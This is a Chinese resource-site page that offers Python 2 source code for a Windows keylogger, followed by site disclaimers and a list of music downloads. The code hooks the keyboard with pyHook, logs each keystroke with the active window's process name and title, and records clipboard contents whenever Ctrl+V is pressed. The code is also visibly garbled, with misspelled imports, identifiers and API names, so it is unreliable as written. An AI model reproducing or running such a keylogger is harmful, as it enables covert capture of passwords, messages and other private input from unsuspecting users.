黑松山资源网 Design By www.paidiu.com
前言
Python keylogger键盘记录的功能的实现主要利用了pythoncom及pythonhook,然后就是对windows API的各种调用。Python之所以用起来方便快捷,主要归功于这些庞大的支持库,正所谓"人生苦短,快用Python"。
# -*- coding: utf-8 -*- from ctypes inport import pythoncom import pyHook import win32clipboard user32 = winddll.user32 kernel32 = windll.kernel32 psapi = windll.psapi current_window = Note def get_current_process(): #获取最上层的窗句柄 hwnd = user32.GetForegroundWindow() #获取进程ID pid = c_ulong(0) user32. GetwindowThreadProcessId(hwnd,byref(pid)) #将进程ID存入变量中 process_ = "%d" % pid.value #申请内存 executable = create_string_buffer("\x00"*522) h_process = kernel32.OpenProcess(0x400 | 0x10,False,pid) psapi.GetModuleBaseNameA(h_process,None,byref(executable),512) #读取窗口标题 windows_title = create_string_buffer("\x00",512) length = user32.GetWindowTextA(hwnd,byref(windows.title),512) #打印 print print "[PID:%s-%s-%s]" %(process_id,executable.value,windows_title.value) print #关闭handles kernel32.CloseHandle(hwnd) kernel32.CloseHandle(h_process) #关闭键盘监听事件函数 def KeyStroke(event): global current_window #检测目标窗口是否转移(换了其他窗口就监听新窗口) if event,WindowName !=current_window: current_window = event.WindowName #函数调用 get_current_process() #检测击键是否常规按键(非组合键等) if event.Ascii>32 and enent .Ascii <127 : print chr(event.Ascii), else: #如果发现ctrl + V事件,就粘贴板内容记录下来 if event.Key == "V" win32clipboard.OpenClipdoard() pasted_value = win32clipdoard. GetClipdoardData() win32clipdoard.CloseClipboard() print "[PASTE]-%s" %(pasted_value), else: print "[%s]" %event.Key, 循环监听下一个事件 return True #创建并注册hook管理器 kl = pyHook.HookManager() kl.KeyDown = KeyStroke #注册hook并兴趣 kl.hookKeyboard() pythoncom.PumpMessages()
总结
以上就是这篇文章的全部内容了,希望本文的内容对大家的学习或者工作具有一定的参考学习价值,谢谢大家对的支持。如果你想了解更多相关内容请查看下面相关链接
黑松山资源网 Design By www.paidiu.com
广告合作:本站广告合作请联系QQ:858582 申请时备注:广告合作(否则不回)
免责声明:本站资源来自互联网收集,仅供用于学习和交流,请遵循相关法律法规,本站一切资源不代表本站立场,如有侵权、后门、不妥请联系本站删除!
免责声明:本站资源来自互联网收集,仅供用于学习和交流,请遵循相关法律法规,本站一切资源不代表本站立场,如有侵权、后门、不妥请联系本站删除!
黑松山资源网 Design By www.paidiu.com
暂无评论...
更新日志
2024年10月07日
2024年10月07日
- 班得瑞原装进口《第二张新世纪专辑:寂静山林》1CD[APE/CUE分轨][327.1MB]
- Beyond.1989-真的见证(2024环球MQA-UHQCD限量版)【环球】【WAV+CUE】
- 陈怡婷.2024-予你的心谁来赔【福茂】【FLAC分轨】
- 陈冠希.2003-HITS.OR.MISSES【英皇娱乐】【WAV+CUE】
- 班得瑞原装进口《第三张新世纪专辑:春野》1CD[APE/CUE分轨][278.9MB]
- 班得瑞原装进口《第四张新世纪专辑:蓝色天际》1CD[APE/CUE分轨][284.8MB]
- 班得瑞原装进口《第五张新世纪专辑:迷雾森林+EP》1CD[APE/CUE分轨][334.2MB]
- 田震.1997-顺其自然(日版)【红星生产社】【WAV+CUE】
- 小虫.1996-想得太美【滚石】【WAV+CUE】
- 谢采妘.2016-邓丽君名曲专辑【丰荣】【WAV+CUE】
- 张含韵.2007-一人一梦【天中文化】【WAV+CUE】
- 蟑螂乐队.1999-帮个忙【福茂】【WAV+CUE】
- 张宇.2001-替身【EMI百代】【WAV+CUE】
- 班得瑞原装进口《第六张新世纪专辑:日光海岸》1CD[APE/CUE分轨][339.5MB]
- 班得瑞原装进口《第七张新世纪专辑:梦花园》1CD[APE/CUE分轨][331.4MB]